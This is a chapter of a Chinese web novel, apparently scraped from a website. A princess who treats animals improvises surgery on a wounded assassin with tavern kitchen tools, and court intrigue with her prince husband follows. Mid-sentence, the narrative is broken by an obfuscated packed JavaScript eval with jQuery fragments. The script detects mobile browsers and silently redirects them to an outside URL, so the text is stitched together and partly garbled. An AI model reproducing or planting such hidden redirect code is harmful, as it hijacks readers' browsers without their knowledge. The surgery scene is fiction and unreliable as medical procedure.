赵云眉这一出手,人活了还好,死了,传出去是有损名誉的,她只救治过牲口,没救治过人,不仅名誉有损,还让人笑话。死的是南梁的人,万一被南梁有心之人抓住做文章,那就更是不好了。
这个男人原本也没打算活了,听到赵云眉的争辩之声,如今又见她真的上前,似有医治之意,心中感动不已,但感动归感动,一个救治牲口的,怎么会救治人呢?为了不让公主惹上麻烦,他主动开口阻止赵云眉出手。
赵云眉原本还在犯难,对方这么一说,她反倒生出几分倔劲,低声斥道:“天大地大,活着最大!没试一把怎么知道活不了?你敢不敢试?”
那男人咬牙闭目不语。赵云眉回头问陆玄雍:“炉子,开水,刀,镊子,烧酒,弯头缝针,羊肠线,冰块,白棉布,金疮药,有吗?”
陆玄雍起身敲了敲门口的铃铛,很快有人过来,陆玄雍交代了一番。
过了片刻,东西一一拿了过来。
赵云眉看到时,差点没跳脚。
烤肉用的铜炉,铜壶,割羊腿的尖刀,烧刀子白酒,蒸包子垫笼子底下用的白棉布,去猪毛用的宽口镊子,都是酒肆里有的玩意,厨娘还送来了针线、草木灰、做冰镇果盘的冰块。
“金疮药没有,针线只有缝衣服用的,镊子是给牛羊剔毫毛用的。”邱翁心虚道。
“外面找不到?!”赵云眉质问道。
草木灰可以止血,但肯定没有金创药好用。缝衣服的针不是弯头的,根本没法缝,棉线跟羊肠线不一样,后期需要拆线,宽口镊子更是没法用。
邱翁垂下了脑袋,不再吭声。赵云眉明白,不是买不到,而是他们压根不想引起注意,也难怪他们会把人安置在这酒肆了,这里已经算是替代品比较全的了。
榻上男人苦笑着闭上了眼。
见陆玄雍没有理会,赵云眉知道再求也无望,便心一横,指使邱翁点起两只铜炉,炉上架起铜壶,里面烧起了开水,将棉布、线一并丢进去其中一只煮着。
另一边,赵云眉将铁针丢到炭上烧到发红,让邱翁找来锤子,一点一点将针敲弯,敲好也丢进了壶中煮着。
煮沸了半天,赵云眉捞起一块棉布,放凉后,裹起一块冰块,让邱翁敷到男人伤口上。
赵云眉将煮好的东西捞出,除了棉布,其他全部丢进装了烧酒的盆里。
一些准备好,赵云眉脱下衣袖宽大的外袍,卷起袖子,洗了手,又让邱翁拿烧酒在手上浇了一遍。
桌上铜炉里的羊汤翻滚着,陆玄雍背对着众人坐着,将盘子里的羊肉割成片丢了进去。
赵云眉走到桌边,拿了一根筷子,塞到伤者口中道:“咬住,生死有命,富贵在天,死了别怪我。”
桌旁的陆玄雍停下手里的动作,侧目看了一眼,只见那男人对着赵云眉点了点头,死死咬住了筷子。
赵云眉拿开冰块,自言自语道:“皮肉皱缩,血供已断,可以了。”
接着,只见她跪在榻边,拿棉布蘸着烧酒擦了一遍伤口,然后徒手塞了一块棉布探了进去。
“嘣!”筷子被生生咬断了。
陆玄雍在慢慢喝茶,随着这声音,他手上动作一滞,回头一看,倒吸一口凉气,只见赵云眉两眼放光,死死盯着伤处,一手提着伤口的皮肉,一手四指并拢,从伤口伸进去四处搅拌着。赵云眉在探里面的伤,陆玄雍看来,就是活生生的拿手搅拌。
陆玄雍只见她搅拌两下,拿出来一块棉布,接着塞一块棉布继续搅拌。
榻上那人颈部青筋暴起,牙关紧闭,面部肌肉狰狞。
陆玄雍觉得浑身都疼,连忙背过去,不再多看。
“还好,伤口皱缩后,第二块棉布没有带出来血,说明里面没有伤到,都是之前伤口的血流进去的,可以直接缝合了。我想想,应该只需缝合五层,里面的膜呢?在哪?缩到一边去了?”赵云眉一边在里面摸索着,一边嘴里念念有词,往常她给牲口治病时也喜欢这样,当是安抚了。
陆玄雍听到她的自言自语只觉头皮发麻。
“找到了......这不是羊肠线,这么深的位置,缝上以后是没法拆线的,少缝两针吧......”赵云眉开始缝合。
榻上那人疼到全身发颤,冷汗不止。
终于缝到外面的皮了,“最后一层最疼了,切肤之痛就是这么来的,动作尽量快。要是有麻沸散就好了,喝了睡着就不会觉得疼了.......”赵云眉还在念念有词,最后一针下去时,她瞄了伤者,惊呼道:“啊!死了?”
陆玄雍全身一震,再也坐不住了,起身奔过来。
赵云眉手忙脚乱地剪断线头,此时冰敷的收缩效果早就过了,血在不停地渗出来,邱翁拿草木灰给对方按上。
“死了?”陆玄雍抢先去探鼻息。
赵云眉则搭上对方脉搏:“没死,疼晕过去了。”
三人一齐长舒了一口气。
邱翁拿毛巾给榻上那人擦了擦汗,那人悠悠转醒,邱翁道:“你活了。你在这里休养几日,好点了就回去复命吧,不用遮掩,如实禀告就行。”
陆玄雍直起身子冷笑道:“人家救了你,你还想杀她吗?”
那男人看了一眼赵云眉,目光躲闪。
赵云眉正低头擦洗手上的血迹,没明白陆玄雍的话,心道跟自己有什么关系呢。
“安定公主,他是想取我命的,被邱翁拦下。我若一死,你必不能活,南梁与北周也必定会有恶战。所以,今晚这一趟公主出来并不亏。”陆玄雍笑吟吟对赵云眉解释起来。
正在这时,楼下吵吵嚷嚷,似乎在寻人。
陆玄雍脸上笑容一敛,对邱翁道:“锅里的肉熟了,你们吃吧,我们先走了。”
说完,他一把拉起还在擦手的赵云眉,直奔出去,扭头就去了隔壁。
隔壁房间里的铜炉刚热,旁边的羊肉应该是现杀的,还带着血水。
两人刚落座,听到有人上楼,陆玄雍赶紧开门探出脑袋看出去。
赵云眉知道,陆玄雍已经猜到是府上的人找过来了,他怕这些人先找到邱翁。
管家带着一队人马刚上楼,就看到了站在门口探着脑袋的陆玄雍,当即哭丧着脸道:“王爷,我差点把后花园的地都给翻过来了!您跟王妃想吃什么,让厨娘去做就是了!怎么能偷偷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129543|196199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跑这来了呢!还有,就算出来,怎么不让人跟着呢!”
说完,他与秋儿一前一后进来伺候,其他人都被关在门外。
“公主,您的外袍呢?”秋儿惊问道。
陆玄雍举了下右手道:“请叫,王--妃!这炉子烧的热,王妃脱了!”他刚刚跑出来时,没忘把赵云眉的衣服抓在手里。
管家尴尬地退到一边,避开目光。
赵云眉听到这声重重的“王妃”有点不自在,与秋儿对视了一眼。
秋儿连连应着,并拿起外袍给赵云眉穿上,刚穿好,秋儿惊呼道:“啊!公主!不,王妃!您的手.......哪来的血?”
赵云眉低头一看,手上的血迹还没擦干净呢。
陆玄雍也是一惊,管家也看了过来,赵云眉反应很快,拿起桌上的刀,对着满是血水的羊肉,边切边道:“嚷什么?这是切肉沾上的!来,坐下,新鲜的羊肉最是好吃了!”
秋儿闻不惯羊肉的膻味,又看到那肉血水横流,当即捂着鼻子直摇头。
陆玄雍见赵云眉蒙混过关,笑呵呵地拿起桌上的帕子,一边给赵云眉擦手,一边道:“王妃是南梁来的,很少吃羊肉,更不会切鲜羊肉,还是本王来切吧!”
赵云眉没有抗拒,放下刀,任凭陆玄雍握着自己的手,一个手指一个手指的擦拭,动作温柔细致。
那红血衬得赵云眉的手指细白异常,陆玄雍擦得很慢。
管家连忙道:“哎呀!哪能让王爷亲自切呢!我来我来!”说罢便凑过来时,赵云眉摆出一副意兴阑珊状:“算了,回去吧!把这桌菜带回去吃吧!”
隔壁有人,赵云眉不想众人在此逗留。
管家也求之不得,当即命人将菜全部带走了。
回去的马车里,赵云眉坐在一旁,一言不发,对面的陆玄雍沉默半晌,轻声道:“你不想问那个人的来历吗?”
赵云眉轻轻叹了口气:“什么来历呢?你为质十五年,应该早就想回来了,却迟迟没能回来,定是有人在当中阻拦。如今好不容易回来,又有人找事,要取你性命,你我新婚,你一死,北周岂能饶我,这也就间接要了我的性命,如此一来,两国没法继续相安无事了。这人的来历,肯定是跟不想南梁和北周和好的人有关!”
陆玄雍点点头,暗赞赵云眉的聪慧,又问道:“如果两国这一战实在避免不了,王妃有何感想?”
有何感想?赵云眉觉得好笑,自己一个半真半假的公主,嫁过来为质,一旦两国起战事,能作何感想?站到祭旗台上,一死罢了。
这话赵云眉没有说出口,只自嘲笑了笑道:“人为刀俎,我为鱼肉,哪来那么多感想。”
陆玄雍搭起一腿,一手撑在膝盖上,看着赵云眉,温言道:“你只要听话,我会保住你的。”
嗯?赵云眉看向对方,只见对方目光灼灼,落在自己脸上,让自己有点不敢直视。
“好。”赵云眉轻声应道,别过头看向帘缝外。
自己本来只为求活命,今天陆玄雍说了这话,自己应下就是,至于听话那还不简单吗,就像今天这样,自己都没给人动过刀,他让动那就动呗。